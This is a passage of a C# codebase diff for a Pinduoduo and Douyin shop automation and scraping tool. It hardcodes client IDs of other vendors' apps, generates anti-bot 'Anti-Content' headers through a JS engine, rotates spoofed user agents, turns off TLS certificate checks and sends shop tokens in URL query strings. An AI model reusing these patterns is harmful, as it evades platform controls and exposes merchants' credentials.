html = GetHtml.Utf8(url);
token = BaseRegex.GetStringJson(ref html, "access_token");
refresh = BaseRegex.GetStringJson(ref html, "refresh_token");
if (string.IsNullOrEmpty(token) || string.IsNullOrEmpty(refresh))
return false;
//if (string.IsNullOrEmpty(shop.ClientId))
shop.ClientId = client_id;
if (!IsCps)
{
url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_shop_tempx&act=add_token" +
"&shop_name=" + shop.ShopName + "&access_token=" + token + "&refresh_token=" + refresh + "&" + UserLogin.GetSignaturex();
html = GetHtml.Utf8(url);
}
url = BaseClass.LoginApiUrl + "?obj=pinbaobao/reflesh_token&act=add&client_id="+client_id +
"&shop_name=" + shop.ShopName + "&access_token=" + token + "&refresh_token=" + refresh + "&" + UserLogin.GetSignaturex(shop.ShopId,shop.ShopName);
html = GetHtml.Utf8(url);
End:
if (!IsCps)
{
shop.AccessToken = token;
shop.RefreshToken = refresh;
}
else
{
shop.CpsShop.AccessToken = token;
shop.CpsShop.RefreshToken = refresh;
}
return !string.IsNullOrEmpty(token);
}
catch
{
return false;
}
}
/// <summary>
/// 判断失效id
/// </summary>
/// <param name="shop"></param>
/// <param name="client_id"></param>
/// <returns></returns>
public bool InvalidClientId(ShopChatBase shop, string client_id)
{
bool invalfalg = false;
if (PinduoduoApiGetProduct.ShopInvalidClientID.ContainsKey(shop.ShopId))
{
var lst = PinduoduoApiGetProduct.ShopInvalidClientID[shop.ShopId];
for (int i = 0; i < lst.Count; i++)
{
if (lst[i] == client_id)
{
invalfalg = true;
break;
}
}
}
return invalfalg;
}
/// <summary>
/// 保存ClientId
/// </summary>
/// <param name="Shop"></param>
private void SaveToken(ShopChatBase Shop)
{
string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/cache_authorize&act=save&shop_name=" + Shop.ShopName + "&access_token=" + Shop.AccessToken + "&client_id=" + Shop.ClientId + "&refresh_token=" + Shop.RefreshToken + "&" + UserLogin.GetSignaturex();
string html = GetHtml.Utf8(url);
}
private string GetToken(string ShopName)
{
string url = BaseClass.LoginApiUrl + "?obj=pinbaobao/cache_authorize&act=get&shop_name=" + ShopName + "&" + UserLogin.GetSignaturex();
string html = GetHtml.Utf8(url);
return html;
}
public bool ReFresh(string refresh, string client_id)
{
string url = BaseClass.LoginApiUrl + "?obj=upshopid/pdd_refreshx&act=refresh&refresh_token=" + refresh
+ "&client_id=" + client_id;
string html = GetHtml.Utf8(url);
if (!string.IsNullOrEmpty(html) && html.Contains("access_token"))
return true;
return false;
}
public static string GetJsonPostURL(string url, string refere, bool isUtf8, string data, string cookies)
{
string userAgent = string.IsNullOrEmpty(BaseClass.ChromeUserAgent) ? BaseClass.UserAgent : BaseClass.ChromeUserAgent;
WebClientx wb = new WebClientx();
wb.Timeout = 10;
wb.AllowAutoRedirect = false;
wb.Headers.Add("Upgrade-Insecure-Requests", @"1");
wb.Headers.Add("Accept-Encoding", "gzip,deflate,br");
wb.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3");
wb.Headers.Add("User-Agent", userAgent);
wb.Headers.Add("Sec-Fetch-Site", @"same-site");
wb.Headers.Add("Sec-Fetch-Mode", @"navigate");
wb.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3");
wb.Headers.Add("Referer", "https://mms.pinduoduo.com/login/sso?platform=fuwu&redirectUrl=https%3A%2F%2Ffuwu.pinduoduo.com%2Fclint%2Fapi%2Flogin%3Fredirect%3Dhttps%253A%252F%252Ffuwu.pinduoduo.com%252Fservice-market%252Fmy-service");
if (!string.IsNullOrEmpty(cookies))
wb.Headers.Add("Cookie", cookies);
string rehead = wb.Headers.ToString();
var encode = isUtf8 ? Encoding.UTF8 : Encoding.GetEncoding("gbk");
byte[] b, postData = encode.GetBytes(data);
string html, head;
try
{
//wb.Headers.Add("Accept", "application/json");
//wb.Headers.Add("Content-Type", "application/json; charset=UTF-8");
if (string.IsNullOrEmpty(data))
{
b = wb.DownloadData(url);
}
else
{
wb.Headers.Add("ContentLength", postData.Length.ToString());
rehead = wb.Headers.ToString();
b = wb.UploadData(url, "POST", postData);
}
html = encode.GetString(b);
head = wb.ResponseHeaders.ToString();
html = wb.ResponseHeaders["Set-Cookie"];
}
catch (Exception ee)
{
html = "提交错误:" + ee.Message;
head = "";
}
return html;
}
public string GetClientId(string clientName)
{
if (string.IsNullOrEmpty(clientName))
return "";
string result = "";
switch (clientName.ToUpper())
{
case "螃蟹工具":
result = "7feaefdf527d45129219ca398c922bb0";
break;
case "奶爸助理":
result = "f4a3e3bb0253448d8272537726299621";
break;
case "途途上货助手":
result = "b1981defcd704a7d88c8a734358fb065";
break;
case "微木ERP":
result = "81fd2bbabbd54ec5bf312e05401a0343";
break;
case "蛮牛工具":
result = "911bd1c0c0a0403da88334e24ca288a2";
break;
case "微木订单":
result = "5d755c0cf97a4cbdb8aa958beea25011";
break;
case "点金工具箱":
result = "3069c1c325e44e85bcf5b6295694bdae";
break;
case "拼商宝":
result = "9558f920cf77403bb475243fe44482ad";
break;
case "凯达工具":
result = "88d6ef134c3b4a07b7a22d8bbef9b1b4";
break;
case "飓风管家":
result = "f23bda7f6d9c4b6c8751268891779660";
break;
case "飓风发货":
result = "9f7d0ce6460b46e7a3833ac2e8325519";
break;
case "运筹ERP":
result = "716a6bcc69d7441d856905eb79b892fd";
break;
}
return result;
}
}
}
+205
View File
@@ -0,0 +1,205 @@
using System;
using System.Collections.Generic;
using CefSharp.WinForms;
using Work.CollectClass;
using AllBase;
using WebSocketSharp;
namespace Work.Api
{
public class ShopChatBase
{
public string ShopId = "";
public DateTime EndDate = DateTime.Now.AddDays(-1);
public DateTime EndDateExplode = DateTime.Now.AddDays(-1);
public string ShopName = "";
public string Name = "";
public string UserName = "";
public string UserInfo = "";
public string PassId = "";
public string ClientId = "";
[Newtonsoft.Json.JsonIgnore]
public ChromiumWebBrowser Chat = null;
[Newtonsoft.Json.JsonIgnore]
public ChromiumWebBrowser Main = null;
[Newtonsoft.Json.JsonIgnore]
public WebSocket client = null;
public string clientMessage = "";
public bool clientflag = false;
public int ChatCount = 0;
public string Cookies = "";
public string CookiesUid = "";
public string CookiesPid = "";
public string Password = "";
public string Message = "";
public string APIMessage = "";
public string bondedWarehouseKey = "";
public string bondedWarehouseName = "";
public string pjtToken = "";
/// <summary>
/// 是否续费和有cookies
/// </summary>
public bool Showed = false;
/// <summary>
/// 是否高级突破
/// </summary>
public bool Explode = false;
/// <summary>
/// 店铺是否可上传
/// </summary>
public bool CanUpload = false;
/// <summary>
/// 选择
/// </summary>
public bool Select = false;
/// <summary>
/// 极品飞车推广专用
/// </summary>
public bool SelectForFlightCar = false;
/// <summary>
/// 极品飞车优化专用
/// </summary>
public bool SelectForFlightCar2 = false;
/// <summary>
/// 极品飞车推广答题考试专用
/// </summary>
public bool SelectForFlightCar3 = false;
/// <summary>
/// 极品飞车定时检测专用
/// </summary>
public bool SelectForFlightCar4 = false;
/// <summary>
/// 极品飞车明细专用
/// </summary>
public bool SelectForFlightCar5 = false;
/// <summary>
/// 选择
/// </summary>
public bool SelectReplace = false;
public bool SelectClearDown = false;
public bool SelectPayOrder = false;
public bool SelectStore = false;
public bool SelectFood = false;
public bool SelectMedicinal = false;
public bool SelectResure = false;
public bool SelectPlan = false;
public bool SelectCps = false;
public bool SelectVio = false;
public bool SelectAdv = false;
public bool SelectQue = false;
public bool SelectWhite = false;
public bool SelectCoS = false;
public bool SelectResurVio = false;
public bool SelectWithMoney = false;
public bool SelectProductCheck = false;
public int X = 0;
public int Y = 0;
public int MallId = 0;
/// <summary>
/// 店铺主营类目
/// </summary>
public int MainCatId = 0;
public int ReceiverId = 0;
public string MainCatName = "";
public string UserCatName = "";
public int UpCount = 0;
public int ProductCount = 0;
public long ExpressId = 0;
public int WaitTimes = 0;
public string AccessToken = "";
public string RefreshToken = "";
public int GoodsCount = 0;
public int MappCount = 0;
public List<TaobaoProductBase> ReplaceTitleProduct = new List<TaobaoProductBase>();
public List<TaobaoProductBase> OnlineProduct = new List<TaobaoProductBase>();
public List<TaobaoProductBase> OnOrOffProduct = new List<TaobaoProductBase>();
public List<TaobaoProductBase> OnOrOffArrProduct = new List<TaobaoProductBase>();
public List<TaobaoProductBase> ResurVioProduct = new List<TaobaoProductBase>();
public List<TaobaoProductBase> ResurVioSalesProduct = new List<TaobaoProductBase>();
public List<long> OnIds = new List<long>();
public List<long> OffIds = new List<long>();
public List<TaobaoProductBase> SellOutProduct = new List<TaobaoProductBase>();
public List<TaobaoProductBase> jinBaoProduct = new List<TaobaoProductBase>();
public List<TaobaoProductBase> VioProduct = new List<TaobaoProductBase>();
public List<ProductVisitBase> Visit = new List<ProductVisitBase>();
public DateTime Expiration = DateTime.Now.AddDays(-1);
public string commission = "";
public WithDraw withDraw = new WithDraw();
public Dictionary<string, int> SignErrorTimes = new Dictionary<string, int>();
/// <summary>
/// 已上传过的商品
/// </summary>
public Dictionary<long, int> UpFromIds = new Dictionary<long, int>();
public ShopChatBase Clone()
{
string html = JsonHelper.SerializeObject(this);
ShopChatBase tp = JsonHelper.DeserializeJsonToObject<ShopChatBase>(html);
return tp;
}
public CpsShopBase CpsShop = new CpsShopBase();
public class CpsShopBase
{
/// <summary>
/// 全店进宝佣金比例
/// </summary>
public string Percent = "";
/// <summary>
/// 店铺商品总数
/// </summary>
public int GoodsCount = 0;
/// <summary>
/// 已有进宝数
/// </summary>
public int HadCpsCount = 0;
/// <summary>
/// 新增进宝数
/// </summary>
public int NewCpsCount = 0;
/// <summary>
/// 未达标进宝数
/// </summary>
public int InvalidCpsCount = 0;
/// <summary>
/// 店铺开通状态,0:待查询 1:已开通特权 2:未开通 3:非特权开通
/// </summary>
public int Status = 0;
public string StatusString
{
get
{
if (Status == 0)
return "待查询";
if (Status == 1)
return "已开通";
if (Status == 2)
return "待同意协议";
if (Status == 3)
return "可设置";
return "待查询";
}
}
public string Message = "";
public string AccessToken = "";
public string RefreshToken = "";
public Dictionary<long, decimal> GoodsIds = new Dictionary<long, decimal>();
}
[Newtonsoft.Json.JsonIgnore]
public DelGroupStatus ArrangeShop = new DelGroupStatus();
[Newtonsoft.Json.JsonIgnore]
public DelGroupStatus AutoShop = new DelGroupStatus();
[Newtonsoft.Json.JsonIgnore]
public DelGroupStatus DelGroupShop = new DelGroupStatus();
[Newtonsoft.Json.JsonIgnore]
public DelGroupStatus ClearNoVisitShop = new DelGroupStatus();
}
public class UpProId
{
public string upProIdOne = "";
public string upProIdTwo = "";
}
}
+129
View File
@@ -0,0 +1,129 @@
using AllBase;
using NaiBa.Util.Extension;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.CollectClass;
using Work.ManageClass;
namespace Work.Api
{
public class TaoJiJiProductGet
{
public ProductCollectBase Product;
public bool IsPinduoduo = false;
public bool OnSale = true;
public TaoJiJiProductGet(ProductCollectBase p)
{
Product = p;
}
public void Get()
{
if (TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id))
{
Product = TaobaoMobileCollect.ProductTemp[Product.from_id].Clone();
return;
}
string url = Product.from_url;
string refere = string.Empty;
string html = GetPostTaobaoHtml.GetUrl(url, refere, true, string.Empty);
JObject json = JObject.Parse(html);
if (json["result"].ToString() == "1")
{
var data = json["data"];
Product.from_cat_id = BaseRegex.GetIntJson(ref html, @"catid");
Product.item_size = "";
Product.item_weight = 1;
Product.price = data["price"].ParseToDecimal();
Product.discount = 0;
Product.discountPrice = 0;
if (Product.discount == 0)
{
Product.discount = 1;
Product.discountPrice = Product.price;
}
Product.name = data["name"].ParseToString();
foreach (string s in AlibabaShop.NoTitleWords)
{
Product.name = Product.name.Replace(s, "");
}
Product.sell_pt = "";
var album = data["album"];
foreach (var image in album)
{
Product.Images.Add(image["img640url"].ParseToString());
}
Product.image = Product.Images[0];
Product.image_from_url = Product.image;
Product.image_path = "";
var contentImage = data["image"];
foreach (var image in contentImage)
{
Product.content += "<img src='" + image["img640url"].ParseToString().Replace("_480_480", "_750_750").Replace("_640_640", "_750_750") + "' />";
}
SetSkuMap(data);
}
Product.main_cid = 0;
Product.from_title = Product.name;
Product.from_site_id = 3;
Product.main_cid = new FromTitleToCat().GetMainCatId(Product.cat1);
if (Product.main_cid == 0)
return;
if (TaobaoMobileCollect.ProductTemp.Count > 1000)
{
TaobaoMobileCollect.ProductTemp.Clear();
}
if (!TaobaoMobileCollect.ProductTemp.ContainsKey(Product.from_id))
{
TaobaoMobileCollect.ProductTemp.Add(Product.from_id, Product);
}
LogSave.Add("获取成功:" + Product.name);
}
public void SetSkuMap(JToken json)
{
var skuList = json["show"];
foreach (var sku in skuList.Values())
{
PropBase p = new PropBase();
p.name = sku["label"].ParseToString();
p.sort++;
var skuValueList = sku["list"];
foreach (var skuValue in skuValueList)
{
PropValueBase pr = new PropValueBase();
pr.name = skuValue.ParseToString();
pr.number = new Random(Guid.NewGuid().GetHashCode()).Next(100, 1000);
p.Values.Add(pr);
}
Product.Props.Add(p);
}
var specList = json["spec"];
foreach (var spec in specList)
{
SkuMapBase sm = new SkuMapBase();
foreach (JProperty attr in spec["attr"].Children().OfType<JProperty>())
{
string titleName = skuList[attr.Name]["label"].ParseToString();
sm.name += titleName + ":" + attr.Value.ToString() + ";";
}
sm.name = sm.name.Trim(';');
sm.prop_image = spec["smallImgUrl"].ParseToString();
sm.price = spec["groupPrice"].ParseToDecimal();
sm.prop_image = spec["smallImgUrl"].ParseToString();
int nu = 0;
int.TryParse(spec["stocknum"].ParseToString(), out nu);
sm.number = nu;
Product.SkuMaps.Add(sm);
}
}
}
}
+259
View File
@@ -0,0 +1,259 @@
using System.Collections.Generic;
using AllBase;
using System;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Threading;
using JavaScriptEngineSwitcher.Core;
using JavaScriptEngineSwitcher.V8;
using Work.CollectClass;
using System.Text;
using System.Linq;
namespace Work.Api
{
public class UpdatePinduoduoExpressSet
{
public static List<KeyValueBase> Express = new List<KeyValueBase>();
/// <summary>
/// 获取最后一个运费模板
/// </summary>
/// <param name="cookies"></param>
/// <param name="mallid"></param>
/// <param name="Shop"></param>
/// <returns></returns>
public long GetFirst(string cookies, int mallid, ShopChatBase Shop)
{
string url = "https://mms.pinduoduo.com/express_inf/cost_template/get_list";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"mallId\":" + mallid + ",\"pageNo\":1,\"pageSize\":1000}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"""costTemplateId"":[\s]*([\d]+)");
long id = 0;
for (int i = 0; m != null && i < m.Count; i++)
{
long j = long.Parse(m[0].Groups[1].Value);
if (j > id)
id = j;
}
if (id > 0)
return id;
html = new PinduoduoApiGetProduct(Shop).GetLogisticsTemplate();
m = BaseRegex.GetMatchRegex(ref html, @"""template_id"":[\s]*([\d]+)");
for (int i = 0; m != null && i < m.Count; i++)
{
long j = long.Parse(m[0].Groups[1].Value);
if (j > id)
id = j;
}
return id;
}
/// <summary>
/// 获取指定第几新的运费模板,如果超过模板总数,返回最旧的一个
/// </summary>
/// <param name="cookies"></param>
/// <param name="mallid"></param>
/// <param name="Shop"></param>
/// <param name="Rank">排名第几新的运费模板</param>
/// <returns></returns>
public long GetOneRank(string cookies, int mallid, ShopChatBase Shop, ref int rank)
{
string url = "https://mms.pinduoduo.com/express_inf/cost_template/get_list";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"mallId\":" + mallid + ",\"pageNo\":1,\"pageSize\":1000}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"""costTemplateId"":[\s]*([\d]+)");
List<long> tempIds = new List<long>();
long id = 0;
for (int i = 0; m != null && i < m.Count; i++)
{
long j = long.Parse(m[0].Groups[1].Value);
if (j > 0)
tempIds.Add(j);
}
if (tempIds.Count > 0)
{
tempIds = tempIds.OrderByDescending(t => t).ToList();
if (rank < tempIds.Count - 1)
return tempIds[rank];
else
{
rank = 1000;
return tempIds.Last();
}
}
// 使用api获取
html = new PinduoduoApiGetProduct(Shop).GetLogisticsTemplate();
m = BaseRegex.GetMatchRegex(ref html, @"""template_id"":[\s]*([\d]+)");
for (int i = 0; m != null && i < m.Count; i++)
{
long j = long.Parse(m[0].Groups[1].Value);
if (j > 0)
tempIds.Add(j);
}
if (tempIds.Count > 0)
{
tempIds = tempIds.OrderByDescending(t => t).ToList();
if (rank < tempIds.Count - 1)
return tempIds[rank];
else
{
rank = 1000;
return tempIds.Last();
}
}
return id;
}
public long GetRandx(string cookies, int mallid, ShopChatBase Shop)
{
string url = "https://mms.pinduoduo.com/express_inf/cost_template/get_list";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"mallId\":" + mallid + ",\"pageNo\":1,\"pageSize\":1000}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
var m = BaseRegex.GetMatchRegex(ref html, @"""costTemplateId"":[\s]*([\d]+)");
long id = 0;
if (m == null)
goto UseApi;
if (m.Count == 1)
{
long tid = BaseRegex.GetLongJson(ref html, "costTemplateId");
string urlxt = "https://mms.pinduoduo.com/express_inf/cost_template/copy";
string referext = "https://mms.pinduoduo.com/orders/order/carriage/list";
string dataxt = "{\"costTemplateId\":" + tid + ",\"sourceKey\":\"MMS\"}";
string htmlxt = Request_mms_pinduoduo_com(urlxt, referext, Shop.Cookies, dataxt, getAnti0aon());
if (htmlxt.Contains("ok"))
{
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
tid = BaseRegex.GetLongJson(ref html, "costTemplateId");
return tid;
}
}
int randx = new Random(Guid.NewGuid().GetHashCode()).Next(1, m.Count);
return long.Parse(m[randx].Groups[1].Value);
UseApi:
html = new PinduoduoApiGetProduct(Shop).GetLogisticsTemplate();
m = BaseRegex.GetMatchRegex(ref html, @"""template_id"":[\s]*([\d]+)");
if (m == null || m.Count <= 1)
return id;
int randxt = new Random(Guid.NewGuid().GetHashCode()).Next(1, m.Count);
return long.Parse(m[randxt].Groups[1].Value);
}
public int GetFirst(string cookies, int mallid)
{
string url = "https://mms.pinduoduo.com/express_base/cost_template/get_list";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"mallId\":" + mallid + ",\"pageNo\":1,\"pageSize\":1000}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int id = BaseRegex.GetIntJson(ref html, "costTemplateId");
return id;
}
public static string Request_mms_pinduoduo_com(string url, string referer, string cookie, string data, string antiContent, IWebProxy proxy = null)
{
string responseText = "";
HttpWebResponse response = null;
try
{
//HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://mms.pinduoduo.com/cps/api/coupon/createCommonCoupon");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.KeepAlive = true;
request.Accept = "application/json";
//request.Headers.Add("Anti-Content", @"0aoAfxnUgOQoU9dVEHIuLKYezEfQ51QpOcKVg_S0aww9S8dseM_tTxYptgFssmH7wfRCpRvfISyXp-bZ8hcq7ux0Z1kvhFUkfIMk7EsEefUAZS7Jv1vYHm1Cplb4GZ43dSFtKu19dO7snIyL-VRj0JFy0ETKDkf1EdaPbWEu22sZ4s1duGD6WO9lgeS-oTsEwwa9ohcX2E_DG2PggPHqIuxcN_tIthAewaqklSPvPmFwzYxrlo256wd2i74SMvTzGTB--UkZ3gPl5t6K-6IVCz1MDD7WDS9HeoGm4RBmyd0LIpXG400lOfKBvPh-z09PL3_hjiL1KiBCENrs1ANosN35LJ8zhlCRi0YrDxphd8LGJFWDG0LrARGRuMW7d3d4IlWlEKFFMiucGGNlIZqDyExDIMny-8T-KY8fJ8BnNuzWyr");
request.Headers.Add("Anti-Content", antiContent);
//request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36";
request.UserAgent = BaseClass.ChromeUserAgent;
request.ContentType = "application/json;charset=UTF-8";
request.Headers.Add("Origin", @"https://mms.pinduoduo.com");
request.Headers.Add("Sec-Fetch-Site", @"same-origin");
request.Headers.Add("Sec-Fetch-Mode", @"cors");
request.Headers.Add("Sec-Fetch-Dest", @"empty");
request.Referer = referer;
request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br");
request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9");
request.Headers.Set(HttpRequestHeader.Cookie, cookie);
if (proxy != null)
request.Proxy = proxy;
request.Method = "POST";
request.ServicePoint.Expect100Continue = false;
string body = data;
byte[] postBytes = System.Text.Encoding.UTF8.GetBytes(body);
request.ContentLength = postBytes.Length;
Stream stream = request.GetRequestStream();
stream.Write(postBytes, 0, postBytes.Length);
stream.Close();
response = (HttpWebResponse)request.GetResponse();
}
catch (WebException e)
{
if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response;
else responseText = "error," + e.Message;
}
catch (Exception ex)
{
responseText = "error," + ex.Message;
}
if (response != null)
{
if (string.IsNullOrEmpty(responseText))
responseText = ReadResponse(response);
response.Close();
}
Thread.Sleep(50 + Randomx.GetId(100));
return responseText;
}
/// <summary>
/// 读取返回值
/// </summary>
/// <param name="response"></param>
/// <returns></returns>
public static string ReadResponse(HttpWebResponse response)
{
using (Stream responseStream = response.GetResponseStream())
{
Stream streamToRead = responseStream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
}
using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8))
{
return streamReader.ReadToEnd();
}
}
}
public static string getAnti0aon()
{
string anti = "";
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.PinDuoDUo_0ao);
anti = jsEngine.CallFunction("get_anti", "").ToString();
try
{ anti = "0ao" + anti.Substring(3); }
catch { }
}
return anti;
}
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+167
View File
@@ -0,0 +1,167 @@
using AllBase.Model.Result;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Security;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Work.BLL.Collect
{
/// <summary>
/// 抖音好物采集
/// </summary>
public class HaoWuCollectBLL
{
private static bool CheckValidationResult(object sender, object certificate, object chain, SslPolicyErrors errors) => true; // 总是接受
public static string getHtml_fxg_20201220(string url, string cookies, string ip = "")
{
string str = "";
try
{
int num = 0;
while (num < 3)
{
try
{
HttpWebRequest request = null;
if (!url.StartsWith("https", StringComparison.OrdinalIgnoreCase))
{
request = WebRequest.Create(url) as HttpWebRequest;
}
else
{
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(CheckValidationResult);
request = WebRequest.Create(url) as HttpWebRequest;
request.ProtocolVersion = HttpVersion.Version10;
}
request.Timeout = 25000;
request.ReadWriteTimeout = 25000;
request.Method = "Get";
request.ContentType = "application/json; charset=utf-8";
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36";
if ((DateTime.Now.Second % 5) == 0)
{
request.UserAgent = "com.ss.android.ugc.aweme/140001 (Linux; U; QuicVersion:47946d2a 2020-10-14)";
}
else if ((DateTime.Now.Second % 5) == 1)
{
request.UserAgent = "Mozilla/5.0 (iPad; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3";
}
else if ((DateTime.Now.Second % 5) == 2)
{
request.UserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3";
}
else if ((DateTime.Now.Second % 5) == 3)
{
request.UserAgent = "Mozilla/5.0 (Linux; Android 10; TAS-AL00 Build/HUAWEITAS-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045120 Mobile Safari/537.36 V1_AND_SQ_8.2.7_1334_YYB_D QQ/8.2.7.4410 NetType/WIFI WebP/0.3.0 Pixel/1080 StatusBarHeight/81 SimpleUISwitch/0";
}
else if ((DateTime.Now.Second % 5) == 4)
{
request.UserAgent = "Mozilla/5.0 (Linux; Android 6.0.1; Redmi Note 3 Build/MMB29M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/76.0.3809.89 Mobile Safari/537.36 T7/11.19 SP-engine/2.15.0 baiduboxapp/11.19.5.10 (Baidu; P1 6.0.1)";
}
request.Host = new Uri(url).Host;
if (cookies.Trim() != "")
{
request.Headers.Add("Cookie", cookies);
}
request.Headers.Add("x-agw-info", "w6S2IHH6-wDuuvNtk2hidFD2MalfJTaURnf6XobYTqjSXcFmCxT79rJjYPudFSWQKnvYl1_OuIsDwtMtheGHihJf4OgPYQqcLNzPkIgpYAEbkfMAvBCAm1gY6uOq0Q_7DbfFOJAMQRGwDEkbVSLUxQSX5cc0hIkwhm36AUf0CflSXVno");
request.Headers.Add("x-tt-logid", "2020122015563901002902921706016162");
request.Headers.Add("x-tt-trace-host", "010c04b40779d7ea1251fcddf2faf54650937df4831d71a387846d4b65371bb93d891684d9895d083828b415698988c161a98e8e3579dfbba439a0f3317851b468507df11e82922352c8b013941f82ea53");
request.Headers.Add("x-trans-level", "0");
request.Headers.Add("x-tt-trace-tag", "id=3;cdn-cache=miss");
char[] separator = new char[] { ':' };
string[] strArray = ip.Split(separator);
char[] chArray2 = new char[] { '.' };
string[] strArray2 = ip.Split(chArray2);
if (((ip.Trim() != "") && ((strArray.Length == 2) && (ip.IndexOf(".") > 0))) && (strArray2.Length == 4))
{
request.Proxy = new WebProxy(strArray[0], Convert.ToInt32(strArray[1].Trim()));
}
Encoding encoding = Encoding.Default;
encoding = Encoding.UTF8;
str = new StreamReader(((HttpWebResponse)request.GetResponse()).GetResponseStream(), encoding).ReadToEnd();
num = 10;
}
catch
{
num++;
}
}
}
catch
{
}
return str;
}
public static string getHtml(string url, string cookies, string encod = "")
{
string str = "";
try
{
int num = 0;
while (num < 3)
{
try
{
HttpWebRequest request = null;
if (!url.StartsWith("https", StringComparison.OrdinalIgnoreCase))
{
request = WebRequest.Create(url) as HttpWebRequest;
}
else
{
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(CheckValidationResult);
request = WebRequest.Create(url) as HttpWebRequest;
request.ProtocolVersion = HttpVersion.Version10;
}
request.Method = "Get";
request.Referer = url;
request.ContentType = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;";
request.ContentType = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3";
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36";
request.Host = new Uri(url).Host;
if (cookies.Trim() != "")
{
request.Headers.Add("Cookie", cookies);
}
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
Encoding encoding = Encoding.Default;
if (encod == "utf8")
{
encoding = Encoding.UTF8;
}
StreamReader reader = new StreamReader(response.GetResponseStream(), encoding);
str = reader.ReadToEnd();
try
{
reader.Close();
response.Close();
reader.Dispose();
response = null;
request = null;
}
catch
{
}
num = 10;
}
catch
{
num++;
}
}
}
catch
{
}
return str;
}
}
}
+788
View File
@@ -0,0 +1,788 @@
using NaiBa.Util;
using NaiBa.Util.Extension;
using NaiBa.Util.Helper;
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace Work.BLL.Collect
{
public class PddSameScreeningBLL
{
#region http请求
//Returns the text contained in the response. For example, the page HTML. Only handles the most common HTTP encodings.
public static string ReadResponse(HttpWebResponse response)
{
using (Stream responseStream = response.GetResponseStream())
{
Stream streamToRead = responseStream;
if (response.ContentEncoding.ToLower().Contains("gzip"))
{
streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress);
}
else if (response.ContentEncoding.ToLower().Contains("deflate"))
{
streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress);
}
using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8))
{
return streamReader.ReadToEnd();
}
}
}
/// <summary>
/// 请求当前店铺销量
/// </summary>
/// <param name="response">After the function has finished, will possibly contain the response to the request.</param>
/// <returns>True if the request was successful; false otherwise.</returns>
public static string RequestShopSold(string url, string Token)
{
HttpWebResponse response = null;
try
{
//Create request to URL.
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
//Set request headers.
request.KeepAlive = true;
request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0");
request.Headers.Add("Upgrade-Insecure-Requests", @"1");
request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36";
